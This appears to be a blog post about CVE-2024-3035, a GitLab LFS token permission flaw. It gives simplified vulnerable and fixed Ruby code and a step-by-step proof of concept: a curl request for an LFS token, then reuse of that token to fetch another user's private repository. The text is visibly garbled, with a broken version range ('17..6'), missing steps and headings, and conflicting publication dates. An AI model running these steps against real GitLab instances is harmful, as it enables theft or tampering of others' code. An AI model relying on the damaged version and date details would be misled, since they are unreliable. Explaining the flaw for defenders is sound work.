*Published July 2024*


GitLab is one of the most popular DevOps platforms used by individuals and organizations around the world. It handles everything from your code to your CI/CD pipelines. In June 2024, a serious security issue was disclosed — CVE-2024-3035 — affecting GitLab Community Edition (CE) and Enterprise Edition (EE) that allows attackers to read and write to user-owned repositories through misused LFS (Large File Storage) tokens.

In this post, we’ll break down what the vulnerability is, show you how it works, and provide direct references and snippets so you can see the problem yourself. We’ll keep the language as simple as possible, so even those new to GitLab’s internals can understand.

What is CVE-2024-3035?

This is a permission check vulnerability in GitLab’s LFS system. GitLab uses LFS tokens to control access to large files in repositories. Because of this bug, a bad actor can use their LFS token to read and write to any other repository owned by a user, not just the ones they are supposed to access.

Affected Versions

- GitLab CE/EE: All versions from 8.12 before 17..6

GitLab 17.2: before 17.2.2

If you use any of these, your instance is at risk.

Technical Breakdown

When an authenticated user requests an LFS token from GitLab, the application is supposed to generate a token scoped only to that user and the repository they’re allowed to access. However, due to a missing or broken permission check, a user could reuse their existing LFS token to perform actions on other repositories owned by any user.

The vulnerable code failed to verify the target repository’s ownership, so the LFS endpoint trusted the token too much.

Here’s a simplified view of what was going wrong

# Vulnerable code sample (simplified for clarity)

def lfs_authenticate(request)
  user = authenticate_user(request)
  # BAD: No check if user actually owns/accesses the target repository
  return generate_lfs_token(user)
end

The bug: It didn’t confirm whether user should have push/pull access to the target_repository — just that the token is valid.

Fixed Logic

After the fix, GitLab verifies that the user owns or has explicit rights to the targeted repo before granting a valid LFS token for operations:

def lfs_authenticate(request)
  user = authenticate_user(request)
  repo = request.repo
  # GOOD: Add a permission check for the repo
  if user.can_access?(repo)
    return generate_lfs_token(user, repo)
  else
    return deny_access
  end
end

Request an LFS token for a repository they own.

2. Use that token to perform LFS operations (read/write) on another user’s repository by changing the target in their LFS client.

This effectively lets them steal data or corrupt other projects.

Proof-of-Concept Exploit

Here’s how you could try to abuse the vulnerability (for educational purposes only — *don’t attack others!*).

Step 1: Get an LFS Token

curl --request POST "https://gitlab.example.com/api/v4/internal/lfs_authenticate"; \
  --header "PRIVATE-TOKEN: <your_access_token>" \
  --data '{"repository":"your-repo"}'

This returns a token like: "lfs_token_abcdef"

Step 2: Use The Token On Someone Else’s Repo

Change the remote URL of your git lfs client to another user’s repository, and supply the lfs_token_abcdef you just got. Git LFS will happily upload/download files from that repo.

Example (Using GIT_LFS_AUTH)

export GIT_LFS_AUTH="Bearer lfs_token_abcdef"
git lfs fetch https://gitlab.example.com/other-user/secret-repo.git

If the server is vulnerable, you now have unauthorized access!

17.2.2 or newer

You can find updates and patches here:
https://about.gitlab.com/releases/categories/releases/

Or the relevant security advisory:
https://about.gitlab.com/releases/2024/07/01/security-release-gitlab-17-2-2-released/

References

- Original CVE entry (NIST)
- GitLab Security Release
- Hacker News Thread (*community discussion*)

Final Thoughts

If you host GitLab for your team — on-premise or in the cloud — patch now. This bug is dangerously simple to exploit, and proof-of-concept code is easy for even junior developers to rerun.

Treat all user-supplied tokens with strict permission checks.

Got other questions about GitLab or DevOps security? Post a comment or reach out on GitLab’s forums.

Timeline

Published on: 08/08/2024 11:15:12 UTC
Last modified on: 08/29/2024 15:55:30 UTC